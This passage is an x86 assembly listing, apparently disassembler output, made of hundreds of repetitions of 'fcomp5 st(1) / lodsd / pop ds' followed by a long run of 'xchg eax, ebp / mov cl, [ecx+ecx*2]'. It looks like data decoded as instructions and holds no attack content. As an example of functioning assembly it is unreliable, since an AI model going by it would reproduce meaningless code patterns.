		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		xchg	eax, ebx
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
		xchg	eax, ebp
		mov	cl, [ecx+ecx*2]
